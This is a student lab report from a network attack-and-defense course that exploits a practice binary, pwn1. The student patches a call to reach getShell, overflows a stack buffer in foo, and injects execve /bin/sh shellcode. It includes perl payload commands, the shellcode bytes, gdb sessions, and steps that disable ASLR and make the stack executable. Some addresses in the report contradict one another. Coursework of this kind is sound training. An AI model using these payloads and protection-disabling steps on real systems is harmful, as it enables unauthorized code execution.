#20192421 2021-2022-2 《网络与系统攻防技术》实验一实验报告
1.实验内容
我们实践的目标就是想办法利用pwn1这个文件实现以下三个实践内容：
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode
2.实验过程
2.1 实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
2.2 实验步骤
（1） 直接修改机器指令，改变程序执行流程
下载文件pwn1并修改文件名为学号，接下来对文件进行反汇编
#mv pwn1 pwn20192421
#objdump -d -pwn20192421 | more
其中有三个函数需要关注，分别为main（主函数）foo函数和getshell
根据上图结果，我们可以得出结果，main函数中，汇编指令"call 8048491 "将调用位于地址8048491处的foo函数。
对应机器指令为“e8 d7ffffff”，e8即“跳转”，CPU将执行地址为“EIP + d7ffffff”处指令。
而EIP的值是下条指令的地址，即80484ba，“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，所以foo函数的地址为0x8048491。
现在我们需要main调用getShell函数，则只要修改“d7ffffff”为，"getShell-80484ba"对应的补码c3ffffff，也就是需要把“d7”改为“c3”。
对应指令为：
vi pwn20192421 #进入目标文件
:%!xxd #转换为16进制
/d7 #查找要修改的内容
rcr3 #用r将“d7”修改为c3
:%!xxd -r #转换16进制为原格式
:wq #保存退出
objdump -d pwn20192421 | more #反汇编查修改是否正确
找到的数据
修改完成后，函数汇编指令如图：
运行修改后的结果
（2） 通过构造输入参数，造成BOF攻击，改变程序执行流
<1> 反汇编，了解程序的基本功能
文件反汇编结果如下图
经分析foo函数中分配给输入字符的空间为0x1c，即28个字节，若输入字符大于这个数则可能会覆盖EBP、EIP，影响程序的正常执行。EBP所占大小为4个字节，即第33个字节会覆盖到EIP的位置。只要我们构造的字符串能够溢出到EIP所在位置，将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”，则程序执行完foo函数后将返回到getShell函数去执行。
<2> 确认输入字符串哪几个字符会覆盖到返回地址
使用gdb进行调试，输入“r”运行代码
输入长度为36字节的字符串“1111111122222222333333334444444412345678”
查看当前所有寄存器的值，其中EIP的值为“0x34333231”，对应字符“4321”，正是我们输入的第33~36个字节的内容。如下图：
由上图结果可以判断输入的第33~36个字节的内容会覆盖到栈上的返回地址，进而CPU会尝试运行这个位置的代码。
那只要将这四个字节的内容替换为getShell的内存地址“804847d”，pwn20192421就会运行getShell。
<3> 确认用什么值来覆盖返回地址
通过反汇编可以看到getShell的内存地址，即0804847d。由之前的结果可以得知我们应当使用小端字节序输入getShell函数的首地址，即7d840408，也即为“32个字符+\x7d\x84\x04\x08”。
<4> 构造输入字符串
由于\x7d\x84\x04\x08无法由键盘输入，所以使用perl生成字符串放到input文件中，再用管道符|将文件input的内容输入pwn20192421。
（2） 注入Shellcode并执行
<1> 准备一段Shellcode
shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
这里使用许同学的Shellcode入门中的Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
<2> 准备工作
开始之前，我们需要再做一些准备，命令如下：
apt-get install execstack #安装execstack
execstack -s pwn201924211 #设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
<3> 构造要注入的payload
Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
--
我们这个buf够放这个shellcode了
结构为：nops+shellcode+retaddr。
使用如下命令构建字符串并保存到input_shellcode中，其中前四字节还不确定，使用12 34h填充。
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf：
(cat input_shellcode;cat) | ./pwn201924211
再打开另一个终端，首先使用命令找到pwn201924211的进程号
ps -ef | grep pwn1-201924211
root 123242 117432 0 11:52 pts/1 00:00:00 ./pwn201924211
root 123256 123154 0 11:52 pts/3 00:00:00 grep --color=auto pwn201924211
再使用gdb调试该进程
gdb
(gdb) attach [pid]
然后反汇编foo函数，查看返回指令（ret）的地址
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
在返回指令的地址处设置断点，之后在另外一个终端中按下回车，然后再使用c使程序继续运行
break *[address]
# 根据上面的结果，这里的address应该填入0x080484ae
# 在运行程序的终端按下回车
(gdb) c
待程序运行到断点处，查看此时的esp寄存器的值，获得我们注入的字符串的地址
(gdb) info r esp
esp 0xffffd4e0 0xffffd4e0
我们使用如下指令查看该地址附近的数据
(gdb) x/16x 0xffffd4e0
0xffffd4e0: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
0xffffd4f0: 0x896e6962 0x895350e3 0xb0d231e1 0x0080cd0b
0xffffd500: 0xffffd500 0xf7ffdb98 0xf7fc3420 0xf7fa8000
0xffffd510: 0x00000001 0x00000000 0xffffd578 0x00000000
(gdb) x/16x 0xffffd4df
0xffffd4df: 0x90909004 0x31909090 0x2f6850c0 0x6868732f
0xffffd4ef: 0x6e69622f 0x5350e389 0xd231e189 0x80cd0bb0
0xffffd4ff: 0xffd50000 0xffdb98ff 0xfc3420f7 0xfa8000f7
0xffffd50f: 0x000001f7 0x00000000 0xffd57800 0x000000ff
从0xffffd10c开始观察，可以发现数据采用小端字节序，并且将返回地址改为ff ff d1 10就可以让程序执行Shellcode，这样一来\x1\x2\x3\x4就应该修改为\x10\xd0\xff\xff，于是我们便重新利用perl语言，将返回地址修改正确，并在最后加上回车（0x0a），然后重新运行程序。
perl -e 'print "A" x 32;print "\x10\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn201924211
此时可以成功显示shell
3.问题及解决方案
- 问题1：修改终端名称后关闭终端再开，终端名称就恢复了原来的默认名称
- 问题1解决方案：使用hostnamectl命令 查看帮助文档
hostnamectl -help
我们可以看到里面有一条set-hostname，我们看它的介绍就知道它可以修改系统的主机名
于是：
hostnamectl set-hostname zengyuhan //名字随便起
当然改完还有个问题，你使用其他命令的时候他会提示你原主机名sudo解析失败
这个时候需要我们修改文件了
sudo vim /etc/hosts
进去能看到两条127.0.0.1 后面各自跟了一个名字，第二条所跟的就是我们以前设置的主机名，这里把这个主机名也修改成你上面改过的名字，一定要相同，否则还是有会报错。
- 问题2：使用命令execstack操作系统提示——无法定位软件包 execstack
- 问题2解决方案：通过与同学讨论，我找到了execstack的官方网站并成功找到了execstack的安装包，具体下载地址见下面的链接。
https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html
然后使用apt的命令完成安装
apt install ./execstack_0.0.20131005-1+b10_amd64.deb
剩下的按照提示进行即可
4.学习感悟、思考等
我通过本次实验的学习，我对于Linux基本命令与堆栈的结构有了更深的理解的掌握。首先我学到了如何将无法直接通过键盘输入的值写入文件，方法是使用输出重定向用于将Perl语言生成的字符串写入文件，再将文件通过管道符|输入程序，这样就可以将键盘无法输入的值输入程序中。
perl：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。“perl -e”后面紧跟单引号括起来的字符串，表示在命令行要执行的命令;使用输出重定向“>”可将perl生成的字符串存储到文件中。
另外关于linux基本命令也不够熟悉，有许多简单的基本命令不熟悉，再需要使用时要去现查，本次实验包括但不限于下面几条
objdump -d：从objfile中反汇编那些特定指令机器码的section。
"|"：管道，将前者的输出作为后者的输入。
">"：输入输出重定向符，将前者输出的内容输入到后者中。
more：分页显示文件内容
参考资料
- 《Java程序设计与数据结构教程（第二版）》
- 《Java程序设计与数据结构教程（第二版）》学习指导
- 0x11_MAL_逆向与Bof基础.md-wildlinux（https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md）
